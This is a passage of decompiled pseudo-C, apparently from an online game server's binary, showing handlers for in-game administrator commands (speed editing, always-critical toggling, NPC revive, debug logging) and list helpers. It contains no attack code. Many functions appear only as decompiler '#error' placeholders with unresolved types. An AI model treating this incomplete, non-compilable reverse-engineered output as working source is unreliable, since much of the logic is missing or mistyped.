AmpersandCommand::ac_Scanf(v5, (char *)arg); WorldManagerSession::wms_EndOfKQPacket(&stru_131DDCE4, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EndOfKingdomQuest"); } //----- (004187E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ReroadKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ReroadKingdomQuest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ReroadKingdomQuest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ReroadKingdomQuest"); } //----- (00418830) -------------------------------------------------------- #error "418830: undefined or illegal type '#734' (funcsize=20)" //----- (004188A0) -------------------------------------------------------- #error "4188A0: undefined or illegal type '#734' (funcsize=26)" //----- (00418930) -------------------------------------------------------- #error "418930: undefined or illegal type '#734' (funcsize=34)" //----- (004189E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EnterMiniHouse(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EnterMiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EnterMiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EnterMiniHouse"); } //----- (00418A30) -------------------------------------------------------- #error "418A30: undefined or illegal type '#734' (funcsize=39)" //----- (00418AE0) -------------------------------------------------------- #error "418AE0: undefined or illegal type '#593' (funcsize=69)" //----- (00418BE0) -------------------------------------------------------- #error "418BE0: undefined or illegal type '#734' (funcsize=83)" //----- (00418D10) -------------------------------------------------------- #error "418D10: undefined or illegal type '#734' (funcsize=83)" //----- (00418E40) -------------------------------------------------------- #error "418E40: undefined or illegal type '#734' (funcsize=57)" //----- (00418F50) -------------------------------------------------------- #error "418F50: undefined or illegal type '#734' (funcsize=48)" //----- (00419020) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PartyInform(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { void *v5; // eax@1 FunctionEntarance _; // [sp+Ch] [bp-24h]@1 Name4 chrid; // [sp+10h] [bp-20h]@1 unsigned int v8; // [sp+20h] [bp-10h]@1 int v9; // [sp+2Ch] [bp-4h]@1 v8 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "AmpersandCommand::ac_PartyInform"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_PartyInform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_PartyInform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; *(_QWORD *)&chrid.n4_name[8] = 0i64; *(_QWORD *)&chrid.n4_name[0] = 0i64; strncpy(chrid.n4_name, (const char *)arg, 0x10u); v5 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, &chrid); if ( !v5 ) v5 = (void *)sp; (*(void (__thiscall **)(void *, #734 *))(*(_DWORD *)v5 + 1396))(v5, sp); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_PartyInform"); __security_check_cookie((unsigned int)&_ ^ v8); } //----- (00419110) -------------------------------------------------------- #error "419110: undefined or illegal type '#734' (funcsize=54)" //----- (00419220) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ParameterView(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ParameterView"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ParameterView"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); ShineObjectClass::ShinePlayer::sp_ParameterView((void *)sp, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ParameterView"); } //----- (004192D0) -------------------------------------------------------- #error "4192D0: undefined or illegal type '#734' (funcsize=94)" //----- (00419420) -------------------------------------------------------- #error "419420: undefined or illegal type '#734' (funcsize=93)" //----- (00419570) -------------------------------------------------------- #error "419570: undefined or illegal type '#734' (funcsize=88)" //----- (004196B0) -------------------------------------------------------- #error "4196B0: undefined or illegal type '#734' (funcsize=52)" //----- (004197A0) -------------------------------------------------------- #error "4197A0: undefined or illegal type '#734' (funcsize=47)" //----- (00419870) -------------------------------------------------------- #error "419870: undefined or illegal type '#734' (funcsize=47)" //----- (00419940) -------------------------------------------------------- #error "419940: undefined or illegal type '#734' (funcsize=90)" //----- (00419A90) -------------------------------------------------------- #error "419A90: undefined or illegal type '#734' (funcsize=63)" //----- (00419BA0) -------------------------------------------------------- #error "419BA0: undefined or illegal type '#734' (funcsize=64)" //----- (00419CB0) -------------------------------------------------------- #error "419CB0: undefined or illegal type '#734' (funcsize=69)" //----- (00419DD0) -------------------------------------------------------- #error "419DD0: undefined or illegal type '#734' (funcsize=77)" //----- (00419ED0) -------------------------------------------------------- #error "419ED0: undefined or illegal type '#734' (funcsize=99)" //----- (0041A030) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EraseChargeBuff(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EraseChargeBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EraseChargeBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EraseChargeBuff"); } //----- (0041A0D0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobHatchery(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobHatchery"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobHatchery"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MobHatchery::mh_View(mobhatchery, sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobHatchery"); } //----- (0041A170) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_AllCritical(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { int v5; // [sp+4h] [bp-14h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_AllCritical"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_AllCritical"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( strncmp("0", (const char *)arg, 2) ) v5 = (int)&roe_alwaysCritical; else v5 = (int)&roe_normalPY; ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement((int)sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_AllCritical"); } //----- (0041A230) -------------------------------------------------------- #error "41A230: undefined or illegal type '#734' (funcsize=126)" //----- (0041A400) -------------------------------------------------------- #error "41A400: undefined or illegal type '#734' (funcsize=74)" //----- (0041A510) -------------------------------------------------------- #error "41A510: undefined or illegal type '#734' (funcsize=63)" //----- (0041A5F0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ObserverLinkTo(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { int v5; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ObserverLinkTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = atoi((const char *)arg); ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Enter(sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); } // 466EE0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Guild_Tournamnet_Observer_Enter(_DWORD, _DWORD); //----- (0041A6A0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ObserverOut(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ObserverLinkTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out((int)sp, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); } //----- (0041A740) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EditSpeed(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { signed int v5; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EditSpeed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EditSpeed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( atoi((const char *)arg) >= 1000 ) v5 = atoi((const char *)arg); else v5 = 1000; ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed((int)sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EditSpeed"); } //----- (0041A800) -------------------------------------------------------- #error "41A800: undefined or illegal type '#734' (funcsize=48)" //----- (0041A8D0) -------------------------------------------------------- #error "41A8D0: undefined or illegal type '#734' (funcsize=29)" //----- (0041A970) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_CurTime(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int cur; // [sp+8h] [bp-98h]@1 FunctionEntarance _; // [sp+Ch] [bp-94h]@1 char buffer[128]; // [sp+10h] [bp-90h]@1 unsigned int v9; // [sp+90h] [bp-10h]@1 int v10; // [sp+9Ch] [bp-4h]@1 v5 = this; v9 = (unsigned int)&cur ^ __security_cookie; _.fe_FunctionCode = "AmpersandCommand::ac_CurTime"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_CurTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_CurTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; mysecond(&cur); sprintf(buffer, "%d.%d.%d %d:%d[%u]"); AmpersandCommand::ac_wall(v5, sp, buffer); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_CurTime"); __security_check_cookie((unsigned int)&cur ^ v9); } //----- (0041AAA0) -------------------------------------------------------- #error "41AAA0: undefined or illegal type '#734' (funcsize=93)" //----- (0041AC00) -------------------------------------------------------- #error "41AC00: undefined or illegal type '#734' (funcsize=87)" //----- (0041AD40) -------------------------------------------------------- #error "41AD40: undefined or illegal type '#734' (funcsize=202)" //----- (0041AFA0) -------------------------------------------------------- #error "41AFA0: undefined or illegal type '#734' (funcsize=29)" //----- (0041B040) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PW(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_PW"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_PW"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_PW((void *)sp, (const char *)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_PW"); } //----- (0041B0E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_DebugLogging(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // ebx@1 char (*v6)[33]; // esi@1 char v7; // al@1 int v8; // edi@1 signed int v9; // ecx@1 bool v10; // zf@1 #734 *v11; // [sp-8h] [bp-24h]@5 char *v12; // [sp-4h] [bp-20h]@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_DebugLogging"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_DebugLogging"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = arg; v7 = AmpersandCommand::ac_Scanf(v5, &(*arg)[33]); v8 = (int)"BalanceLog"; v9 = 11; v10 = 1; do { if ( !v9 ) break; v10 = *(_BYTE *)v6 == *(_BYTE *)v8; v6 = (char (*)[33])((char *)v6 + 1); ++v8; --v9; } while ( v10 ); if ( v10 ) { BalanceLog.dl_Activ = v7; v12 = "BalanceLog changed"; v11 = sp; } else { v12 = "All of log changed"; DebugLogging::dl_ActivAll = v7; v11 = sp; } AmpersandCommand::ac_wall(v5, v11, v12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_DebugLogging"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0041B1C0) -------------------------------------------------------- #error "41B1C0: undefined or illegal type '#734' (funcsize=107)" //----- (0041B350) -------------------------------------------------------- #error "41B350: undefined or illegal type '#734' (funcsize=143)" //----- (0041B530) -------------------------------------------------------- #error "41B530: undefined or illegal type '#734' (funcsize=111)" //----- (0041B6B0) -------------------------------------------------------- #error "41B6B0: undefined or illegal type '#734' (funcsize=143)" //----- (0041B890) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_FreeStatApp(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { int v5; // ebx@0 int v6; // edi@0 int v7; // esi@0 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_FreeStatApp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_FreeStatApp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatApplication((int)sp, v5, v6, v7); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_FreeStatApp"); } //----- (0041B930) -------------------------------------------------------- #error "41B930: undefined or illegal type '#734' (funcsize=83)" //----- (0041BA70) -------------------------------------------------------- #error "41BA70: undefined or illegal type '#734' (funcsize=92)" //----- (0041BBD0) -------------------------------------------------------- void __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::PROTO_PARTY_MEMBER_AND_ZONEMERCHINE(PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *this) { PROTO_PARTY_MEMBER::PROTO_PARTY_MEMBER(&this->Member); } //----- (0041BBE0) -------------------------------------------------------- #error "41BBE0: undefined or illegal type '#734' (funcsize=87)" //----- (0041BD40) -------------------------------------------------------- #error "41BD40: undefined or illegal type '#734' (funcsize=281)" //----- (0041C130) -------------------------------------------------------- #error "41C130: undefined or illegal type '#734' (funcsize=45)" //----- (0041C1F0) -------------------------------------------------------- #error "41C1F0: undefined or illegal type '#734' (funcsize=34)" //----- (0041C2A0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_TestLink(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { int v5; // esi@1 char *v6; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_TestLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_TestLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (signed int)gpp.pp_Buffer; v6 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 31750; *((_DWORD *)v6 + 2) = 0; *((_DWORD *)v6 + 1) = 0; *(_DWORD *)v6 = 0; strncpy(v6, "RouCos02", 0xCu); ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ((void *)sp, v5, 39, -1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_TestLink"); } //----- (0041C370) -------------------------------------------------------- #error "41C370: undefined or illegal type '#734' (funcsize=53)" //----- (0041C440) -------------------------------------------------------- #error "41C440: undefined or illegal type '#734' (funcsize=47)" //----- (0041C510) -------------------------------------------------------- #error "41C510: undefined or illegal type '#734' (funcsize=42)" //----- (0041C5B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EquipBelongedCancelUse(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 char buf[1024]; // [sp+Ch] [bp-404h]@1 unsigned int v7; // [sp+40Ch] [bp-4h]@1 v7 = (unsigned int)buf ^ __security_cookie; v5 = this; *(_WORD *)buf = *(_WORD *)buf & 0x3FF | 0x3000; *(_WORD *)buf = *(_WORD *)buf & 0xFC48 | 0x48; buf[3] = AmpersandCommand::ac_Scanf(this, (char *)arg); buf[2] = AmpersandCommand::ac_Scanf(v5, &(*arg)[33]); ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_BELONGED_CANCEL_USE_REQ((void *)sp, (int)buf, 4, handle); } //----- (0041C650) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PFGTSet(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // ebx@1 char v6; // si@2 int v7; // eax@3 int v8; // eax@7 v5 = this; if ( (*arg)[0] ) { v7 = AmpersandCommand::ac_Scanf(this, (char *)arg); v6 = v7; if ( v7 > 1 ) v6 = 1; } else { v6 = 0; } if ( (*arg)[33] ) { v8 = AmpersandCommand::ac_Scanf(v5, &(*arg)[33]); ShineObjectClass::ShinePlayer::sp_SendToWorldProtactionFromGameInfo((void *)sp, v6, v8); } else { ShineObjectClass::ShinePlayer::sp_SendToWorldProtactionFromGameInfo((void *)sp, v6, 0); } } //----- (0041C6B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobItemDrop(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobItemDrop"); } //----- (0041C700) -------------------------------------------------------- #error "41C700: undefined or illegal type '#734' (funcsize=42)" //----- (0041C7B0) -------------------------------------------------------- #error "41C7B0: undefined or illegal type '#593' (funcsize=114)" //----- (0041C950) -------------------------------------------------------- #error "41C950: undefined or illegal type '#734' (funcsize=159)" //----- (0041CBA0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, AmpersandCommandElement *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 int v6; // esi@4 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2), (v4 = v3) != 0) ) { ORToken::operator_(v3, (int)ele); *(_DWORD *)(v4 + 20) = ele->ace_adminlevel; v6 = v4 + 24; *(_DWORD *)v6 = ele->ace_func; *(_DWORD *)(v6 + 4) = *(_DWORD *)&ele->gap1c[0]; *(_DWORD *)(v6 + 8) = *(_DWORD *)&ele->gap1c[4]; *(_DWORD *)(v6 + 12) = *(_DWORD *)&ele->gap1c[8]; result = 1; } else { result = 0; } return result; } //----- (0041CC00) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, AmpersandCommandElement *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 int v6; // esi@4 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2), (v4 = v3) != 0) ) { ORToken::operator_(v3, (int)ele); *(_DWORD *)(v4 + 20) = ele->ace_adminlevel; v6 = v4 + 24; *(_DWORD *)v6 = ele->ace_func; *(_DWORD *)(v6 + 4) = *(_DWORD *)&ele->gap1c[0]; *(_DWORD *)(v6 + 8) = *(_DWORD *)&ele->gap1c[4]; *(_DWORD *)(v6 + 12) = *(_DWORD *)&ele->gap1c[8]; result = 1; } else { result = 0; } return result; } //----- (0041CC60) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, AmpersandCommandElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; ORToken::operator_((int)ele, *(_DWORD *)v6); ele->ace_adminlevel = *(_DWORD *)(v8 + 20); v8 += 24; ele->ace_func = *(void (__thiscall **)(AmpersandCommand *, unsigned __int16, #734 *, int, char (*)[33]))v8; *(_DWORD *)&ele->gap1c[0] = *(_DWORD *)(v8 + 4); *(_DWORD *)&ele->gap1c[4] = *(_DWORD *)(v8 + 8); *(_DWORD *)&ele->gap1c[8] = *(_DWORD *)(v8 + 12); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0041CCE0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, AmpersandCommandElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; ORToken::operator_((int)ele, *(_DWORD *)v6); ele->ace_adminlevel = *(_DWORD *)(v8 + 20); v8 += 24; ele->ace_func = *(void (__thiscall **)(AmpersandCommand *, unsigned __int16, #734 *, int, char (*)[33]))v8; *(_DWORD *)&ele->gap1c[0] = *(_DWORD *)(v8 + 4); *(_DWORD *)&ele->gap1c[4] = *(_DWORD *)(v8 + 8); *(_DWORD *)&ele->gap1c[8] = *(_DWORD *)(v8 + 12); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0041CD60) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0041CDB0) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::KQElement(KingdomQuest::KQElement *this) { KingdomQuest::KQElement *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this->kqe_kqinfo.MapLink, 0x1Au, 4, (void (__thiscall *)(void *))PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_constructor_iterator_( v1->kqe_mapinfo, 0x24u, 4, (void (__thiscall *)(void *))KingdomQuest::KQElement::KQElementMap::KQElementMap, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); PineScriptToken::pst_Clear(&v1->kqe_Script); PineScriptToken::pst_Clear(&v1->kqe_InitValue); KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(&v1->kqe_PlayerList); } //----- (0041CE50) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::_KQElement(KingdomQuest::KQElement *this) { KingdomQuest::KQElement *v1; // esi@1 v1 = this; List::_List(&this->kqe_PlayerList); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->kqe_InitValue); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->kqe_Script); _eh_vector_destructor_iterator_( v1->kqe_mapinfo, 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_destructor_iterator_( v1->kqe_kqinfo.MapLink, 0x1Au, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0041CEF0) -------------------------------------------------------- #error "41CEF0: undefined or illegal type '#1265' (funcsize=126)" //----- (0041D0C0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_NPCRevive(AmpersandCommand *this, unsigned __int16 handle, #734 *sp, int argnum, char (*arg)[33]) { ListStruct *v5; // edi@1 unsigned __int16 v6; // si@1 signed int v7; // ebp@1 int v8; // eax@3 bool v9; // cf@3 int v10; // eax@4 int v11; // ebx@5 int v12; // eax@6 int v13; // [sp+10h] [bp-18h]@1 unsigned __int16 v14; // [sp+14h] [bp-14h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_NPCRevive"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_NPCRevive"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v5 = shineobjmanager.som_ListContainer[4]->baseclass_0.l_Array; v6 = v5[shineobjmanager.som_ListContainer[4]->baseclass_0.l_Finger.store].ls_Next; v7 = 10000; v14 = shineobjmanager.som_ListContainer[4]->baseclass_0.l_MaxSize; while ( v6 < v14 ) { v8 = v6; v9 = v6 < v14; v6 = v5[v6].ls_Next; if ( !v9 ) break; v10 = (int)&v5[v8]; if ( !*(_BYTE *)(v10 + 8) ) break; v11 = *(_DWORD *)v10; if ( !*(_DWORD *)v10 ) break; v12 = ShineObjectClass::ShineObject::so_DistanceSquar(v11, (int)sp); if ( v12 < (unsigned int)v7 ) { v13 = v11; v7 = v12; } } if ( v13 ) (*(void (__cdecl **)(#734 *))(*(_DWORD *)v13 + 2696))(sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_NPCRevive"); } //----- (0041D1D0) -------------------------------------------------------- #error "41D1D0: undefined or illegal type '#734' (funcsize=93)" //----- (0041D330) -------------------------------------------------------- #error "41D330: undefined or illegal type '#734' (funcsize=226)" //----- (0041D660) -------------------------------------------------------- #1265 *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(List *, unsigned __int16, #1265 *), unsigned __int16 *hnd, #1265 *key) { #1265 *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(List *, unsigned __int16, #1265 *); // [sp+8h] [bp-1Ch]@1 #1265 *v8; // [sp+Ch] [bp-18h]@1 #1265 *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (0041D6D0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 